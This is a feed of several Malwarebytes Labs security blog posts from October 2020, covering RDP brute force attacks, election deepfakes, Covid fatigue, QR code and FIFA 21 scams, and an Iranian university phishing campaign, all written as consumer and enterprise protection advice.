Brute force attacks are usually automated, so it doesn’t cost the attacker a lot of time or energy. Certainly not as much as individually trying to figure out how to access a remote system. Based on a port number or another system specific property, the attacker picks the target and the method and then sets his brute force application in motion. He can then move on to the next target and will get notified when one of the systems has swallowed the hook.

Brute force methods

When trying to gain access to a remote system, an attacker will use one of these different types of attacks:

  • Reverse brute force attack. This type uses a common password or collection of passwords against many possible usernames. Sometimes the attacker may have an idea about the username or a part thereof. For example, they may know that a specific organization uses {first name}@{organization} as the default username for their employees. The attacker can then try a specific list of usernames and random passwords.
  • Credential stuffing is a type of attack where the criminal has a database of valid username and password combinations (usually stolen from other breaches) and tries out all these combinations on different systems. This is why it is never a good idea to reuse your passwords.
  • A hybrid brute force attack starts with the most feasible combinations and then keeps on trying from there. It often uses a dictionary attack where the application tries usernames or passwords using a dictionary of possible strings or phrases.
  • Rainbow table attacks only work when the attacker has some knowledge about the password they are trying to guess. In these attacks rainbow tables are used to recover a password based on its hash value. A rainbow table is a hash function used in cryptography for storing important data such as passwords in a database.
Brute forcing RDP ports

RDP attacks are one of the main entry points when it comes to targeted ransomware operations. To increase effectiveness, ransomware attacks are getting more targeted and one of the primary attack vectors is the Remote Desktop Protocol (RDP). Remote desktop is exactly what the name implies, an option to remotely control a computer system. It almost feels as if you were actually sitting behind that computer. Which is exactly what makes an attacker with RDP access so dangerous.

Because of the current pandemic, many people are working from home and may be doing so for a while to come. Working from home has the side effect of more RDP ports being opened. Not only to enable the workforce to access company resources from home, but also to enable IT staff to troubleshoot problems on the workers’ devices. A lot of enterprises rely on tech support teams using RDP to troubleshoot problems on employee’s systems.

But ransomware, although prevalent, is not the only reason for these types of attacks. Cybercriminals can also install keyloggers or other spyware on target systems to learn more about the organization they have breached. Other possible objectives might be data theft, espionage, or extortion.

Protect against brute force attacks

We’ve posted recommendations to protect against RDP attacks before. You can read more details in that post but basically the protection measures come down to:

  • Limit the number of open ports
  • Restrict the access to those that need it
  • Enhance security of the port and the protocol

The same basic security measures apply to other ports. In cybersecurity, the term open port refers to a TCP or UDP port number that is configured to accept packets. In contrast, a port which rejects connections or ignores all packets, is a closed port. The less open ports you have facing the internet, the safer it is. Limiting the number of open ports is a good start but closing all of them is almost never feasible.

For the ports that need to remain open and where you do expect visitors, it’s a good idea to disable legacy usernames, rotate passwords, and use 2FA if you can.

Security software guarding the entire network should raise alarm bells when a great number of attempts are detected. Anything that behaves like a brute force attack will look so different from normal login attempts that it shouldn’t be a problem if it is blocked. When a brute force attacker gets locked out for a few minutes after a few failed attempts, this will slow them down a lot and give you ample opportunity to take corrective and defensive measures.

It’s a numbers game

Many open ports can be used in a brute force attack, but RDP ports are the most desirable for anyone trying to gain access. RDP is easier because the attacker may have a reasonable idea about the username and only needs to brute force the password. It also offers a successful attacker a good chance to infiltrate the organization’s network further.

As mentioned earlier, the shift to working from home has caused a big raise in the number of open RDP ports around the globe. The number of RDP ports exposed to the Internet grew from about three million in January 2020 to over four and a half million in March. At Malwarebytes we noticed a similar surge in compromised servers that are used to run brute force tools or scan the Internet for vulnerable ports. Malwarebytes protects its customers by blocking the traffic from these IP addresses.

And please don’t think this can’t happen to your organization. We’ve seen high profile companies fall victim to ransomware where the suspected point of entry was an open RDP port.

Stay safe everyone!

The post Brute force attacks increase due to more open RDP ports appeared first on Malwarebytes Labs.

Categories: Malware Bytes

A week in security (September 12 – September 18)

Malware Bytes Security - Mon, 10/19/2020 - 2:28pm

Last week on Malwarebytes Labs, we looked at journalism’s role in cybersecurity on our Lock and Code podcast, gave tips for safer shopping on Amazon Prime day, and discussed an APT attack springing into life as Academia returned to the real and virtual campus environment. We also dug into potential FIFA 21 scams, the return of QR code scams, Covid fatigue, and the absence of Deepfakes from the 2020 US elections.

Other cybersecurity news
  • Coronavirus SMS spoof risk: Researcher warns that genuine messages can be impersonated (Source: The Register)

Stay safe, everyone!

The post A week in security (September 12 – September 18) appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Deepfakes and the 2020 United States election: missing in action?

Malware Bytes Security - Fri, 10/16/2020 - 11:00am

If you believe reports in the news, impending deepfake disaster is headed our way in time for the 2020 United States election. Political intrigue, dubious clips, mischief and mayhem were all promised. We’ll need to be careful around clips of the President issuing statements about being at war, or politicians making defamatory statements. Everything is up for grabs, and in play, or at stake. Then, all of a sudden…it wasn’t.

Nothing happened. Nothing has continued to happen. Where did our politically charged deepfake mayhem go to? Could it still happen? Is there time? With all the increasingly surreal things happening on a daily basis, would anybody even care?

The answer is a cautious “no, they probably wouldn’t.” As we’ve mentioned previously, there are two main schools of thought on this. Shall we have a quick refresher?

Following the flow

Stance 1: Catastrophe and chaos rain down from the heavens. The missiles will launch. Extreme political shenanigans will cause skulduggery and intrigue of the highest order. Democracy as we know it is imperilled. None of us will emerge unscathed. Deepfakes imperil everything.

Stance 2: Deepfakes have jumped the shark. They’d have been effective political tools when nobody knew about them. They’re more useful for subversive influence campaigns off the beaten track. You have to put them in the places you least expect, because people quite literally expect them. They’re yesterday’s news.

Two fairly diverse stances, and most people seem to fall in one of the two camps. As far as the US election goes, what is the current state of play?

2020 US election: current state of play

Imagine our surprise when instead of deepfaked election chaos, we have a poorly distorted gif you can make on your phone. It’s heralded as the first strike of deepfakes “for electioneering purposes”.

It’s dreadful. Something you’d see in the comment section of a Myspace page, as pieces of face smear and warp this way and that. People are willing to call pretty much anything a deepfake to add weight to their points. The knock-on effect of this is overload and gradual disinterest due to hype. Things many would consider a deepfake are turned away at the door as a result of everything in sight being called a deepfake.

This is a frankly ludicrous situation. Even so, outside of the slightly tired clips we’ve already seen, there doesn’t appear to be any election inroad for scammers or those up to no good.

What happened to my US election deepfakes?

The short answer is people seem to be much more taken with pornographic possibilities than bringing down Governments. According to Sensity data, the US is the most heavily targeted nation for deepfake activity. That’s some 45.4%, versus the UK in second place with just 10.4%, South Korea with 9.1%, and India at 5.2%. The most popular targeted sector is entertainment with 63.9%, followed by fashion at 20.4%, and politics with a measly 4.5%.

We’ve seen very few (if any) political deepfakes aimed at South Korean politicians. For all intents and purposes, they don’t exist. What there is an incredible amount of, are pornographic fakes of South Korean K-Pop singers shared on forums and marketplaces. This probably explains South Korea’s appearance in third place overall and is absolutely contributing to the high entertainment sector rating.

Similarly adding to both US and entertainment tallies, are US actresses and singers. Again, most of those clips tend to be pornographic in nature. This isn’t a slow trickle of generated content. It’s no exaggeration to say that one single site will generate pages of new fakes per day, with even more in the private/paid-for sections on their forums.

This is awful news for the actresses and singers currently doomed to find themselves uploaded all over these sites without permission. Politicians, for the most part, get off lightly.

What are we left with?

Besides the half dozen or so clips from professional orgs saying “What if Trump/Obama/Johnson/Corbyn said THIS” with a clip of said politician saying it (and they’re not that great either), it’s basically amateur hour out there. There’s a reasonably consistent drip-feed of parody clips on YouTube, Facebook, and Twitter. It’s not Donald Trump declaring war on China. It isn’t Joe Biden announcing an urgent press briefing about Hilary Clinton’s emails. It’s not Alexandria Ocasio-Cortez telling voters to stay home because the local voting station has closed.

What it is, is Donald Trump and Joe Biden badly lip-syncing their way through Bohemian Rhapsody on YouTube. It’s Trump and Biden talking about a large spoon edited into the shot with voices provided by someone else. I was particularly taken by the Biden/Trump rap battle doing the rounds on Twitter.

As you may have guessed, I’m not massively impressed by what’s on offer so far. If nothing else, one of the best clips for entertainment purposes I’ve seen so far is from RT, the Russian state-controlled news network. 

Big money, minimal returns?

Consider how much money RT must have available for media projects, and what they could theoretically sink into something they clearly want to make a big splash with. And yet, for all that…it’s some guy in a Donald Trump wig, with an incredibly obviously fake head pasted underneath it. The lips don’t really work, the face floats around the screen a bit, evidently not sharing the same frame of reference as the body. The voice, too, has a distinct whiff of fragments stitched together.

So, a convincing fake? Not at all. However, is that the actual aim? Is it deliberately bad, so they don’t run a theoretical risk of getting into trouble somehow? Or is this quite literally the best they can do?

If it is, to the RT team who put it together: I’m sorry. Please, don’t cry. I’m aiming for constructive criticism here.

They’re inside the walls

Curiously, instead of a wave of super-dubious deepfakes making you lose faith in the electoral system, we’ve ended up with…elected representatives slinging the fakes around instead.

By fakes, I don’t mean typical “cheapfakes”, or photoshops. I mean actual deepfakes.

Well, one deepfake. Just one.

“If our campaign can make a video like this, imagine what Putin is doing right now”

Bold words from Democratic candidate Phil Ehr, in relation to a deepfake his campaign team made showing Republican Matt Gaetz having a political change of heart. He wants to show how video and audio manipulation can influence elections and other important events.

Educating the public in electioneering shenanigans is certainly a worthwhile goal. Unfortunately, I have to highlight a few problems with the approach:

  1. People don’t watch things from start to finish. Whole articles go unread beyond the title and maybe the first paragraph. TV shows progress no further than the first ad break. People don’t watch ad breaks. It’s quite possible many people will get as far as Matt Gaetz saying how cool he thinks Barack Obama is, then abandon ship under the impression it was all genuine.
  2. “If we can make a video like this” implies what you’re about to see is an incredible work of art. It’s terrible. The synthetic Matt Gaetz looks like he wandered in off the set of a Playstation 3 game. The voice is better, but still betrayed by that halting, staccato lilt so common in audio fakery. One would hope the visuals being so bad would take care of 1), but people not really paying attention or with a TV on in the background are in for a world of badly digitised hurt.
An acceptable use of technology?

However you stack this one up, I think it’s broadly unhelpful to normalise fakes in this way during election cycles regardless of intention. Note there’s also no “WARNING: THIS IS FAKE” type message at the start of the clip. This is bad, considering you can detach media from Tweets and repurpose.

It’s the easiest thing in the world to copy the code for the video and paste it into your own Tweet minus his disclaimer. You could just as easily download it, edit out the part at the end which explains the purpose, and put it back on social media platforms. There’s so many ways you can get up to mischief with a clip like this it’s not even funny.

Bottom line: I don’t think this is a good idea.

Fakes in different realms

Other organisations have made politically-themed fakes to cement the theoretical problems posed by deepfakes during election time, and these ones are actually quite good. You can still see the traces of uncanny valley in there though, and we must once again ask: is it worth the effort? When major news cycles rotate around things as basic as conspiracy theories and manipulation, perhaps fake Putin isn’t the big problem here.

If you were in any doubt as to where the law enforcement action is on this subject: it’s currently pornography. Use of celebrity faces in deepfakes is now officially attracting the attention of the thin blue line. You can read more on deepfake threats (political or otherwise) in this presentation by expert Kelsey Farish.

Cleaning up the house

That isn’t to say things might not change. Depending on how fierce the US election battle is fought, strange deepfake things could still be afoot at the eleventh hour. Whether it makes any difference or not is another thing altogether, and if low-grade memes or conspiracy theories are enough to get the job done then that’s what people will continue to do.

Having said that: you can keep a watchful eye on possible foreign interference in the US election via this newly released attribution tracker. Malign interference campaigns will probably continue as the main driver of GAN generated imagery. Always be skeptical, regardless of suspicions over AI involvement. The truth is most definitely out there…it just might take a little longer to reach than usual.

The post Deepfakes and the 2020 United States election: missing in action? appeared first on Malwarebytes Labs.

Categories: Malware Bytes

How Covid fatigue puts your physical and digital health in jeopardy

Malware Bytes Security - Thu, 10/15/2020 - 11:00am

After six months of social distancing, sheltering in place, working from home, distance learning, mask-wearing, hand-washing, and plenty of hand-wringing, people are pretty damn tired of COVID-19. And with no magic bullet (yet) and no end in sight, annoyance has turned into exasperation and even desperation.

Doctors and mental health professionals call this Covid fatigue.

Covid fatigue, not to be confused with fatigue as a symptom of the COVID-19 infection, can be characterized by denial, defeatism, and careless or reckless behavior in response to feeling overwhelmed and exhausted by a constant stream of pandemic-related information. And since COVID-19’s impact on our lives has been both profound and long-lasting, the fatigue is further pronounced by such prolonged exposure to intense stress. Conflicting information about the seriousness of the virus does little to provide relief. Instead, emotions are extra muddied by uncertainty about how stressed we should really be feeling.

Those of us in cybersecurity recognize this emotional response well. We’ve seen it play out in the digital realm in the form of security fatigue and alert fatigue, or what some doctors call “caution fatigue.” And we understand that if it isn’t addressed, it can lead to dangerous choices for the health and safety of people in the real world and online.

COVID-19 has upended nearly every facet of our lives, driving us into the open arms of the Internet like never before. Yet, as we struggle with anxiety and burnout related to the pandemic, our fatigue spills over into our online behavior. And with so many working and schooling from home, the stakes have never been higher.

So, when we see users exhibiting classic symptoms of Covid fatigue, security fatigue, or other caution fatigue, we feel their pain but recognize that this behavior can’t go on unchecked. If you think that you, your friends and family, or coworkers might be experiencing Covid fatigue, read on to learn how to recognize the symptoms, why they are dangerous, and what can be done to fight against it.

What is Covid fatigue?

To understand Covid fatigue, it helps to first zoom out and consider that fatigue is a natural response to any ongoing stressful situation or threat. When you couple that with the need to take specific actions to protect against that threat, you get caution fatigue. In an interview for a WebMD special report, Jacqueline Gollan, Associate Professor of Psychiatry and Behavioral Science at Northwestern’s Feinberg School of Medicine, explains what she means by the term caution fatigue:

“[Caution fatigue] is really low motivation or interest in taking safety precautions. It occurs because the constant state of being [on] alert for a threat can activate a stress hormone called cortisol, and that can affect our health and our brain function…When we’re subjected to high levels of stress, we start to desensitize to that stress. And then we begin to pay less attention to risky situations.”

Caution fatigue, then, can apply to numerous situations where individuals are under siege for an extended period of time and grow tired of being required to employ protective measures. This is especially true when the threat is not perceived as imminent or direct, and even more prominent when the threat is invisible. Other factors that increase caution fatigue include:

  • Lack of transparency into the threat or the reasons for the restrictions
  • Unfair or overly complicated restrictions or recommendations for safety precautions
  • Inconsistent actions and mixed messages about which measures are effective
  • Unpredictable changes to safety measures, including using subjective criteria to alter directions

Looking at this list in the context of the coronavirus pandemic, it appears we’ve checked off all the boxes, turning what was strong public support for COVID-19 response strategies into a collective case of the Mondays. According to an October report by the World Health Organization (WHO), pandemic fatigue has reached over 60 percent in some parts of Europe. In the United States, a July 2020 Kaiser Family Foundation poll found that 53 percent of Americans believed the pandemic had harmed their mental health.

WHO says that Covid fatigue is expressed through an increasing number of people not sufficiently following recommendations and restrictions, decreasing their effort to stay informed about the pandemic, and having lower risk perceptions related to COVID-19. Previously effective core messages about washing hands, wearing face masks, practicing proper hygiene, and maintaining physical distance may now be lost in the shuffle. Instead, vigilance is replaced by denial (I won’t get infected) or nihilism (we’re all screwed anyway, so I might as well do what I want).

What does Covid fatigue have to do with cybersecurity?

Covid fatigue shares characteristics with another form of fatigue that has long plagued the cybersecurity industry: security fatigue. In 2017, the National Institute of Standards in Technology (NIST) published a study stating that security fatigue was the threshold at which users found it too hard or burdensome to maintain security, a phenomenon affecting 63 percent of its participants.

The NIST report went further to say, “People are told they need to be constantly on alert, constantly ‘doing something,’ but they are not even sure what that something is or what might happen if they do or do not do it.”

Security fatigue and its cousin alert fatigue (which technicians are likely already familiar with) prevent users from taking definitive steps to protect themselves while connected to the Internet. Every news story on ransomware or major breach of personally identifiable information (PII) or cyberattack by a nation-state comes with its own set of “here’s how to protect against this” steps to follow.

Some of those instructions may be complex or incredibly specific, contributing to confusion (especially for those who aren’t tech savvy). Likewise, the constant pinging from alert notifications on security software may result in IT teams dismissing those alerts altogether.

Although there have been efforts to reduce security and alert fatigue, they likely make themselves known on a regular basis to anyone working in IT and security. For other users, security fatigue might flow as an undercurrent or barely register. But when you add Covid fatigue to the recipe, you get a dangerous cocktail of weary indifference.

Now, those with Covid fatigue aren’t just endangering themselves by ignoring best health practices and tuning out the latest news. They’re also letting their fatigue-influenced behavior spill over into other areas, including conducting business (or pleasure) online.

Because COVID-19 has forced much of the globe to spend a lot more time online, it has opened up the floodgates for cybercriminal activity, misinformation, and digital infection. Here, at the crossroads of Covid, security, and alert fatigue, people might find themselves in just as much danger on the Internet as they would be at a packed rally of maskless, cheering crowds.

Caroline Wong, CSO of pentest-as-a-service company Cobalt, recently spoke to Malwarebytes employees at a virtual fireside chat about Covid fatigue.

“One of the things that I worry about the most is anxiety and burnout and what that means for human error,” she said. “When we’re anxious, maybe we’re more likely to fall for a phishing scam. When I’m burnt out, maybe I’m more likely to purposefully or accidentally take some kind of a shortcut. Every behavior of an employee affects the security posture of the company.”

And behaviors have changed drastically for both users and cybercriminals since the onset of COVID-19. Here are a few examples of how threat actors are taking advantage of fatigued users:

  • Now that more people are shopping online to avoid crowded stores, cybercriminals have stepped up their credit card skimming efforts on legitimate sites. In just the first month of sheltering in place, digital skimming was up 26 percent. Users were previously told that a site secured by “https” and a lock icon should be safe. Those rules are now out the window.
  • Threat actors have weaponized information on COVID-19, using it as a hook to lure phishing victims, from SBA scams to nation-state espionage. Just consuming information about COVID-19 from the wrong source, then, could compromise users’ safety.
  • Students are distance learning, often on their own devices. And parents/individuals are mostly working from home, again using their (unprotected) personal devices to conduct work, or work devices to conduct personal errands. Cybercriminals look to capitalize on these risky choices by targeting employees on insecure devices and infiltrating business/school networks in the process.

“I think the biggest threat from Covid fatigue comes down to the massive distraction it causes,” said Adam Kujawa, Director of Malwarebytes Labs. “People who are so desperate for hope might scrutinize less and end up falling into a trap or exposing themselves to cyberthreats, just for the idea of relief.”

Combine this with the general malaise brought on by Covid fatigue, and you get an exponentially higher chance of infecting your home and business networks, rendering your devices obsolete, having your PII stolen and sold on the black market, opening the door for nation-state actors to spy on your organization, or even inviting threat actors to seize company files and ransom them for a hefty price.

How to fight Covid fatigue

If one of the symptoms of fatigue is feeling overwhelmed by a heavy dose of information and advice about what to do to combat a threat, how do you go about giving important information and advice about what to do to combat that threat? One method would be to consider the factors that are causing stress and fatigue and then deliver simple, actionable instructions to counter those factors. For example, if a constantly changing outlook on the future of the pandemic and other mixed messages are creating anxiety, consider only visiting a small selection of websites to find answers.

In researching for this article, I came across dozens of different recommendations for combatting Covid and security fatigue. Rather than overwhelm readers with too many choices, I opted to boil down all instructions to the three most pertinent. For battling Covid fatigue, try:

  1. Turning to a coping mechanism. Take a five minute break from the screen or TV if COVID-19 news is getting you down. If you need more time, spend it consumed in a favorite hobby to re-energize.
  2. Lowering your expectations. This may sound crude, but what it really means is give yourself a break. If you’re forgetting words or taking a long time to complete a project, forgive yourself. And if you think a vaccine will definitely be here in January 2021, perhaps consider placing your hopes elsewhere.
  3. Talking to someone. COVID-19 has been isolating for all of us. When loneliness strikes, schedule a virtual happy hour with a close friend, jump on a phone call with family members, or book an appointment with a trusted counselor.

In addition, remember these key preventative measures for keeping the virus at bay, recommended by leading scientists:

  1. Wear a mask in public. That includes not just stores and workplaces, but at any gathering with people outside your household.
  2. Wash your hands frequently. Especially after being around other people or handling any objects that came from outside your home.
  3. Practice social distancing. When in doubt, stay at least six feet away from others. Refrain from gathering in large groups, especially indoors in poorly-ventilated areas.

And finally, to ensure you don’t let Covid fatigue transform into security fatigue, remember these three important rules:

  1. Use a password manager. To avoid re-using passwords across accounts or having to remember 27 different ones, a password manager will keep your account credentials encrypted inside a digital vault, which can only be opened by a single master password. For extra protection, employ multi-factor authentication.
  2. Use security software on all of your devices, including your mobile phone. (iPhones don’t allow for external antivirus protection, but they do let users download robocall blockers and apps that secure mobile browsers.)
  3. Use common sense. We’ve learned that “trust but verify” doesn’t work for the Internet. If it seems too good to be true…you know the rest.

The post How Covid fatigue puts your physical and digital health in jeopardy appeared first on Malwarebytes Labs.

Categories: Malware Bytes

QR code scams are making a comeback

Malware Bytes Security - Thu, 10/15/2020 - 8:02am

Just when we thought the QR code was on its way out, the pandemic has led to a return of the scannable shortcut. COVID-19 has meant finding a digital equivalent to things normally handed out physically, like menus, tour guides, and other paperwork, and many organizations have adopted the QR code to help with this. And so, it would seem, have criminals. Scammers have dusted off their book of tricks that abuse QR codes, and we’re starting to see new scams. Or maybe just old scams in new places.

What is a QR code again?

A quick recap for those that missed it. A Quick Response (QR) code is nothing more than a two-dimensional barcode. This type of code was designed to be read by robots that keep track of items in a factory. As a QR code takes up a lot less space than a legacy barcode, its usage soon spread.

Smartphones can easily read QR codes—all it takes is a camera and a small piece of software. Some apps, like banking apps, have QR code-reading software incorporated to make it easier for users to make online payments. In some other cases, QR codes are used as part of a login procedure.

QR codes are easy to generate and they are hard to tell apart. To most human eyes, they all look the same. More or less like this:

URL to my contributor profile here Why are QR codes coming back?

For some time, these QR codes were mainly in use in industrial environments to help keep track of inventory and production. Later they gained some popularity among advertisers because it was easier for consumers to scan a code than to type a long URL. But people couldn’t tell from a QR code where scanning would lead them, so they got cautious and QR codes started to disappear. Then along came the pandemic and entrepreneurs had to get creative about protecting their customers against a real life virus infection.

To name an example, for fear of spreading COVID-19 through many people touching the same menu in a restaurant, businesses placed QR codes on their tables so customers could scan the code and open the menu in the browser on their phone. Clean and easy. Unless a previous visitor with bad intentions had replaced the QR code with his own. Enter QR code scams.

Some known QR code scams

The easiest QR code scam to pull off is clickjacking. Some people get paid to lure others into clicking on a certain link. What better way than to replace QR codes on a popular monument, for example, where people expect to find background information about the landmark by following the link in the QR code. Instead, the replaced QR code takes them to a sleazy site and the clickjacking operator gets paid his fee.

Another trick is the small advance payment scam. For some services, it’s accepted as normal to make an advance payment before you can use that service. For example, to rent a shared bike, you are asked to make a small payment to open the lock on the bike. The QR code to identify the bike and start the payment procedure is printed on the bike. But the legitimate QR codes can be replaced by criminals that are happy to receive these small payments into their own account.

Phishing links can just as easily be disguised as QR codes. Phishers place QR codes where it makes sense for the user. So, for example, if someone is expecting to login to start a payment procedure or to get access to a certain service, the scammers may place a QR code there. We’ve also seen phishing mails equipped with fraudulent QR codes.

Image courtesy of Proofpoint

The email shown above instructed the receiver to install the “security app” from their bank to avoid their account being locked down. However, it pointed to a malicious app outside of the webstore. The user had to allow installs from an unknown source to do this, which should have been a huge red flag, but still some people fell for it.

Lastly, there’s the redirect payments scam, which was used by a website that facilitated Bitcoin payments. While the user entered a Bitcoin address as the receiver, the website generated a QR code for a different Bitcoin address to receive the payment. It’s yet another scam that demonstrates that QR codes are too hard for humans to read.

How to avoid QR code scams

There are a few common sense methods to avoid the worse QR code scams:

  • Do not trust emails from unknown senders.
  • Do not scan a QR code embedded in an email. Treat them the same as links because, well, that’s what they are.
  • Check to see whether a different QR code sticker was pasted over the original and, if so, stay away from it. Or better yet, ask if it’s OK to remove it.
  • Use a QR scanner that checks or displays the URL before it follows the link.
  • Use a scam blocker or web filter on your device to protect you against known scams.

Even if the mail from a bank looks legitimate, you should at least double-check with the bank (using a contact number you’ve found on a letter or their website) if they ask you to log in on a site other than their own, install software, or pay for something you haven’t ordered.

As an extra precaution, do not use your banking app to scan QR codes if they fall outside of the normal pattern of a payment procedure.

Do I want to know what’s next?

Maybe not, but forewarned is forearmed. One method in development to replace QR codes on Android devices is the Near Field Communication (NFC) tag. NFC tags, like QR codes, do not require an app to read them on more modern devices. Most of the recent iPhones and Androids can read third-party NFC tags without requiring extra software, although older models may need an app to read them.

NFC tags are also impossible to read by humans but they do require an actual presence, i.e. they can’t be sent by mail. But with the rise in popularity of contactless payments, we may see more scams focusing on this type of communication.

Stay safe, everyone!

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Categories: Malware Bytes

FIFA 21 game scams: watch out for unsporting conduct

Malware Bytes Security - Wed, 10/14/2020 - 11:30am

Despite COVID-19, soccer season is slowly ebbing its way back into daily life around the world. It’s also sneaking back onto TV screens in the form of huge-budget video games. Step up to the plate, FIFA 21.

FIFA games: the football juggernaut

The FIFA series is an absolute monster in terms of sales, clocking in at around 280 million copies across 51 countries over the lifetime of the franchise. According to the Guinness World Records, it’s the best-selling sports video game franchise in the world. It’s also premium bait for scammers as a result, with an enormous selection of potential victims to choose from. It’s incredibly popular with teens and younger children too, which simply increases the risk from both clever and incredibly basic attacks.

FIFA 21 launched last week, and it’s no doubt selling like hotcakes. If you’re unsure about the risks and what you should steer clear of, you’ve come to the right place. A lot of this is dependent on platform, and how deeply embedded your social media accounts are embedded into your gaming ecosphere. With that out of the way, let’s untangle any confusion you may have and avoid an own goal.

The lay of the land: explaining FIFA mechanics

It’s quite possible your kids own a few of the FIFA titles. You may well hear them talk about coins, or FUT, and speak at length about playing cards. Cards? In my football game? It’s more likely than you think. Before you can fathom the kinds of scams targeting your family members, it helps to understand the inner-workings of the title.

FUT: FIFA Ultimate Team. This is a wildly popular competitive game mode nestled inside various FIFA titles, which involves cards and coins in a continued quest for victory.

Coins: FIFA coins are the in-game currency used to perform various game related buying/selling activities. You earn coins simply by playing the game, completing challenges and objectives.

The coins stay in-game only. You’re not allowed to buy them from third parties, distribute them, or use multiple accounts to direct coins to a “main” account. Giveaways, or performing other actions to obtain coins, are all forbidden.

What do you do with the coins once you have enough of them? You spend them on cards.

Cards: The lifeblood of the game. The cards represent players in your team and come in various levels of quality. The rarer the card, the more coins they probably cost to purchase.

So far, so good…and essentially harmless. Unfortunately, the monetised aspects of the game away from the screen contributes to scammers wanting a piece of the action.

Extra-curricular activities: playing outside the game

You don’t need to spend in-game coins to purchase cards on the transfer market. Gamers can also buy “FIFA points”, sold inside the game, the relevant store for your gaming platform, or legitimate sellers. They buy these points with real money, as opposed virtual currencies. The monetisation of the game is red meat in the water to scammers.

Anything tied up in real world cash immediately offers several inroads to fakery. Arguments against this style of monetisation are also compelling. Desperation for coins / points means potentially being more susceptible to scams.

Common FIFA game scams Gift generators:

These target the platform you play on. It might be PC, it could be console. They might specify Steam, another store, or even something else altogether. They’ll offer up coins, free game keys, points, activation codes, money, whatever it takes. “All” you have to do is fill in a survey, or hand over your login details, or buy giftcards and send them the codes.

Perhaps your personal data is now in the hands of third party marketers, while potentially being out of pocket. Maybe you’re dealing with account compromise. You will commonly find these promoted on forums and YouTube videos.

Fake customer support assistance:

A tactic which has been around for a few years now, and frequently successful. Scammers will often pretend to be customer support reps, then insert themselves into support discussions on social media. The victim eventually lands on a phishing page. While we first came across this targeting FIFA gamers, the tactic was soon observed being used in banking scams too.

Social media fakeouts:

It’s the easiest thing in the world for scammers to create bogus pages on social media. It’s common to see fake accounts on Instagram and Facebook, and as usual the aim is to direct victims to phishing pages. If a major sporting event is taking place, they’ll probably craft banner imagery and general discussion towards said event in order to make it more convincing.

It’s also quite common for them to deploy bots in the comments to make it look as though the website/offer really works. Don’t take dozens of “this is genuine, thank you” messages for granted.

Bogus Direct Messages:

Scammers will pretend to be game admins, or console developers, or promoters. They’ll push the line that you’ve been selected for a special in-game reward, or a points offer. A technical issue may have occurred, and they need your login details to verify “something”. Perhaps they’ll claim your account has been restricted, and jumping through their hoops is the only way you’ll get your account back.

Whatever they claim, rest assured it’s all going to be nonsense. Nobody should ever ask for login credentials, and especially not in such casual fashion. All attempts sent your way should be blocked and reported on your platform. This will help to keep other people safe, too.

An increasingly wide playing field

EA titles recently returned to Steam, having been absent for some years. As each gaming platform has its own set of security protocols, parents and gamers need to keep up with how things work on each.

In a recent interview with The Daily Swig, I touched on aspects of microtransactions with regards to a rise in attacks during the pandemic lockdown. If you limit the time available for in-game items, or dabble in rarity as a reward, then younger gamers will gravitate towards parents who often hold the digital keys to the kingdom. Buy this, buy that, now buy six more of these.

What this means in practice, is endlessly jumping into one or more email accounts to authorise logins, transactions, trades, and more. Those accounts may also require several steps of authentication to login. Eventually, some parents will simply drop some security features in order to make things less of a hoop-jumping exercise.

At that point, the accounts are now vulnerable to attack. Streamlining games which require multiple platform logins, authentication, in-game validation, and email activity on a regular basis isn’t easy and that’s what scammers rely on.

Blow the whistle, referee

Whether your game of choice is FIFA or something else entirely, keep the above tips in mind. Ensure you’re aware of the latest FIFA scams doing the rounds and take some time to figure out security practices that work for you on your selected platform. Every small step you make towards keeping scammers out makes it harder for them to score the winning goal.

The post FIFA 21 game scams: watch out for unsporting conduct appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Silent Librarian APT right on schedule for 20/21 academic year

Malware Bytes Security - Wed, 10/14/2020 - 9:29am

A threat actor known as Silent Librarian/TA407/COBALT DICKENS has been actively targeting universities via spear phishing campaigns since schools and universities went back.

We were initially tipped off by one of our customers, and were able to identify a new active campaign from this APT group. Based off a number of intended victims, we can tell that Silent Librarian does not limit itself to specific countries but tries to get wider coverage.

Even though many phishing sites have been identified and taken down, the threat actor has built enough of them to continue with a successful campaign against staff and students alike.

A persistent threat actor with a perfect attendance record

In March 2018, nine Iranians were indicted by the US Department of Justice for conducting attacks against universities and other organizations with the goal of stealing research and proprietary data.

Yet, both in August 2018 and 2019 Silent Librarian was lining up for the new academic years, once again targeting the same kind of victims in over a dozen countries.

IT administrators working at universities have a particularly tough job considering that their customers, namely students and teachers, are among the most difficult to protect due to their behaviors. Despite that, they also contribute to and access research that could be worth millions or billions of dollars.

Considering that Iran is dealing with constant sanctions, it strives to keep up with world developments in various fields, including that of technology. As such, these attacks represent a national interest and are well funded.

Same pattern in phishing domain registration

The new domain names follow the same pattern as previously reported, except that they swap the top level domain name for another. We know that the threat actor has used the “.me” TLD in their past campaigns against some academic intuitions and this is still the case, along side “.tk” and “.cf”.

Phishing siteLegitimate University of Adelaide University of Adelaide Caledonian Universityblackboard.stonybrook.ernn.meblackboard.stonybrook.eduStony Brook Universityblackboard.stonybrook.nrni.meblackboard.stonybrook.eduStony Brook Utrechtuu.blackboard.rres.meuu.blackboard.comUniversiteit of of of Medical of oföteborg University’s College Mary University of Victoria Technological of Mittelhessen University of Applied of North of CambridgeTable 1: List of phishing sites and targets

Registering these subdomains to perform phishing attacks against universities is a known behavior for this APT group and therefore we can expect that they were registered by the same actor.

Figure 1: Phishing site for the University of Adelaide Phishing sites hosted in Iran

The threat actor uses Cloudflare for most of their phishing hostnames in order to hide the real hosting origin. However, with some external help we were able to identify some of their infrastructure located on Iran-based hosts.

It may seem odd for an attacker to use infrastructure in their own country, possibly pointing a finger at them. However, here it simply becomes another bulletproof hosting option based on the lack of cooperation between US or European law enforcement and local police in Iran.

Figure 2: Part of the phishing infrastructure showing connections with Iran

Clearly we only uncovered a small portion of this phishing operation. Although for the most part the sites are taken down quickly, the attacker has the advantage of being one step ahead and is going for many possible targets at once.

We are continuing to monitor this campaign and are keeping our customers safe by blocking the phishing sites.

Indicators of Compromise (IOCs)



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Categories: Malware Bytes

Amazon Prime Day—8 tips for safer shopping

Malware Bytes Security - Tue, 10/13/2020 - 6:11am

Avid Amazon Prime Day shoppers may have been worried they’d missed it this year—thanks coronavirus. Fear not, last month Amazon announced Prime Day will take place three months after its original annual date, beginning today. And this year, it’ll take place over two days, rather than one.

This could mark the beginning of early “peak season” holiday shopping, which usually happens a week before Thanksgiving.

That said, it’s time to brush up on our cybersecurity wits so we can shop early, safely, and save ourselves future headaches in the new shopping season.

